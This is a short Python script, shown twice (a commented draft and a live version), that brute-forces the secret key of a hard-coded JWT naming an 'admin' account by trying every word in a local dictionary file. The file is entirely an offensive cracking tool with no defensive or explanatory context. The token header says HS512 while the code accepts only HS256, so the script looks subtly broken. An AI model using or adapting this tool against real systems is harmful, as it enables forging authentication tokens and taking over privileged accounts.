# import jwt
#
# jwt_str = "eyJhbGciOiJIUzUxMiJ9.eyJ1c2VySWQiOjEzMzk1NTA0Njc5Mzk2MzkyOTksImFjY291bnQiOiJhZG1pbiIsInV1aWQiOiI2NGRkYzQzZi0wYzYxLTRmMmUtYjM2Mi1kMTc3NWFhZTZmMzgiLCJyZW1lbWJlck1lIjp0cnVlLCJleHBpcmF0aW9uRGF0ZSI6MTcwMjI2Mjc0MzExMCwiY2FUb2tlbiI6bnVsbCwib3RoZXJzIjpudWxsLCJzdWIiOiIxMzM5NTUwNDY3OTM5NjM5Mjk5IiwiaWF0IjoxNzAxNjU3OTQzLCJleHAiOjE3MDIyNjI3NDN9.YSXtRObtF2sNt04hlf9C4drevf2ZKsr4qkoYlNTG_gEekMHHr56pjP4FyMr2u92XTR9wUAsqJsvKBYtelrr7kA"
# with open('D:\dict\jwt.txt', encoding='utf-8') as f:
#     for line in f:
#         key_ = line.strip()
#         try:
#             jwt.decode(jwt_str, verify=True, key=key_, algorithms="HS256")
#             print('found key! --> ' + key_)
#             break
#         except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
#                jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
#                jwt.exceptions.ImmatureSignatureError):
#             print('found key! --> ' + key_)
#             break
#         except jwt.exceptions.InvalidSignatureError:
#             continue
#     else:
#         print("key not found!")
import jwt
import termcolor

alg = "HS256"
if __name__ == "__main__":
    jwt_str = R'eyJhbGciOiJIUzUxMiJ9.eyJ1c2VySWQiOjEzMzk1NTA0Njc5Mzk2MzkyOTksImFjY291bnQiOiJhZG1pbiIsInV1aWQiOiI2NGRkYzQzZi0wYzYxLTRmMmUtYjM2Mi1kMTc3NWFhZTZmMzgiLCJyZW1lbWJlck1lIjp0cnVlLCJleHBpcmF0aW9uRGF0ZSI6MTcwMjI2Mjc0MzExMCwiY2FUb2tlbiI6bnVsbCwib3RoZXJzIjpudWxsLCJzdWIiOiIxMzM5NTUwNDY3OTM5NjM5Mjk5IiwiaWF0IjoxNzAxNjU3OTQzLCJleHAiOjE3MDIyNjI3NDN9.YSXtRObtF2sNt04hlf9C4drevf2ZKsr4qkoYlNTG_gEekMHHr56pjP4FyMr2u92XTR9wUAsqJsvKBYtelrr7kA'
    with open('D:\dict\jwt.txt',encoding='utf-8') as f:
        for line in f:
            key_ = line.strip()
            try:
                jwt.decode(jwt_str, verify=True, key=key_,algorithms=alg)
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                break
            except jwt.exceptions.InvalidSignatureError:
                print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                continue
        else:
            print('\r', '\bsorry! no key be found.')